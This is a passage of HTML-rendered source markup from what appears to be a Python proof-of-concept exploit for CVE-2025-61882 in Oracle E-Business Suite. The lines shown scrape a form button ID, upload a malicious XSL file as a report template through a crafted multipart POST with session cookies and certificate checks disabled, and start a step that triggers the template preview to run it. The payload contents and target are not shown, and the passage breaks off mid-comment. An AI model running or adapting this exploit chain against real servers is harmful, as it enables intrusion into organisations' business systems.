id=\&quot;file-ebs_cve-2025-61882_poc-py-L236\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;236\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC236\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L237\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;237\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC237\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>apply_btn_id</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;ApplyButton&amp;quot;</span> </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L238\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;238\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC238\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>apply_btn</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;button&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;ApplyButton&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L239\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;239\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC239\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>apply_btn</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L240\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;240\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC240\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>onclick_text</span> <span class=pl-c1>=</span> <span class=pl-s1>apply_btn</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;onclick&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L241\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;241\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC241\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>match</span> <span class=pl-c1>=</span> <span class=pl-s1>re</span>.<span class=pl-c1>search</span>(<span class=pl-s>r&amp;quot;&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;:&amp;#39;([^&amp;#39;]+)&amp;#39;&amp;quot;</span>, <span class=pl-s1>onclick_text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L242\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;242\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC242\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>match</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L243\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;243\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC243\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>apply_btn_id</span> <span class=pl-c1>=</span> <span class=pl-s1>match</span>.<span class=pl-c1>group</span>(<span class=pl-c1>1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L244\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;244\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC244\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-c># print(f&amp;quot;[+] Found Apply Button ID: {apply_btn_id}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L245\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;245\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC245\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L246\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;246\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC246\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span>.<span class=pl-c1>update</span>({</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L247\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;247\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC247\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;TempName&amp;#39;</span>: <span class=pl-c1>TEMPLATE_NAME</span>,   </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L248\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;248\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC248\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;TemplateCode&amp;#39;</span>: <span class=pl-c1>TEMPLATE_NAME</span>,      </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L249\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;249\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC249\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;ApplicationName&amp;#39;</span>: <span class=pl-s>&amp;#39;Application Report Generator&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L250\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;250\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC250\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;ApplicationId&amp;#39;</span>: <span class=pl-s>&amp;#39;168&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L251\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;251\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC251\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;ApplicationShortName&amp;#39;</span>: <span class=pl-s>&amp;#39;RG&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L252\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;252\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC252\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;DsDataSourceName&amp;#39;</span>: <span class=pl-s>&amp;#39;FSG program&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L253\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;253\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC253\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;TempType&amp;#39;</span>: <span class=pl-s1>temp_type_val</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L254\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;254\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC254\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;StartDate&amp;#39;</span>: <span class=pl-s>&amp;#39;14-Jan-2000&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L255\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;255\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC255\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;LanguageName&amp;#39;</span>: <span class=pl-s>&amp;#39;English&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L256\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;256\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC256\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;DefaultOutputType&amp;#39;</span>: <span class=pl-s1>def_out_val</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L257\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;257\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC257\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;_FORM_SUBMIT_BUTTON&amp;#39;</span>: <span class=pl-s1>apply_btn_id</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L258\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;258\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC258\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;event&amp;#39;</span>: <span class=pl-s>&amp;#39;&amp;#39;</span>,</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L259\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;259\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC259\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;source&amp;#39;</span>: <span class=pl-s>&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L260\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;260\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC260\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    })</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L261\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;261\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC261\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L262\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;262\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC262\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>files</span> <span class=pl-c1>=</span> {</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L263\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;263\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC263\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s>&amp;#39;AttachData_oafileUpload&amp;#39;</span>: (<span class=pl-s>&amp;#39;payload.xsl&amp;#39;</span>, <span class=pl-c1>XSL_PAYLOAD</span>, <span class=pl-s>&amp;#39;text/xml&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L264\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;264\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC264\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    }</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L265\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;265\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC265\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L266\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;266\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC266\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[*] Sending POST request to create XSL template &amp;#39;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-c1>TEMPLATE_NAME</span><span class=pl-kos>}</span></span>&amp;#39;...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L267\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;267\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC267\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L268\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;268\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC268\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>headers_step3</span> <span class=pl-c1>=</span> <span class=pl-c1>HEADERS</span>.<span class=pl-c1>copy</span>()</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L269\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;269\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC269\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Content-Type&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>headers_step3</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L270\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;270\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC270\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>del</span> <span class=pl-s1>headers_step3</span>[<span class=pl-s>&amp;quot;Content-Type&amp;quot;</span>]</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L271\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;271\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC271\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L272\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;272\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC272\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L273\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;273\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC273\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-s1>headers_step3</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>files</span><span class=pl-c1>=</span><span class=pl-s1>files</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L274\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;274\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC274\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L275\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;275\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC275\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;successfully created&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L276\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;276\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC276\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[+] XSL Template successfully created!&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L277\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;277\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC277\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L278\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;278\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC278\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Application returned an error.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L279\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;279\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC279\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L280\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;280\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC280\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L281\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;281\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC281\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L282\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;282\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC282\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-v>Exception</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L283\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;283\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC283\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;[-] Request failed: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L284\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;284\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC284\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L285\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;285\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC285\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_4</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html_content</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L286\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;286\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC286\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 4: Triggering Template Preview...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L287\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;287\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC287\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>soup</span> <span class=pl-c1>=</span> <span class=pl-en>BeautifulSoup</span>(<span class=pl-s1>html_content</span>, <span class=pl-s>&amp;#39;html.parser&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L288\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;288\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC288\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L289\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;289\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC289\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>form</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;form&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultFormName&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L290\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;290\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC290\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>form</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L291\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;291\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC291\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Cannot find form DefaultFormName&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L292\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;292\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC292\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L293\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;293\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC293\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L294\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;294\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC294\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>action_url</span> <span class=pl-c1>=</span> <span class=pl-s1>form</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;action&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L295\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;295\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC295\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>action_url</span>.<span class=pl-c1>startswith</span>(<span class=pl-s>&amp;quot;/&amp;quot;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L296\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;296\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC296\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span><span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>action_url</span><span class=pl-kos>}</span></span>&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L297\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;297\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC297\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L298\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;298\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC298\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s1>action_url</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L299\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;299\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC299\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L300\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;300\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC300\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-c># 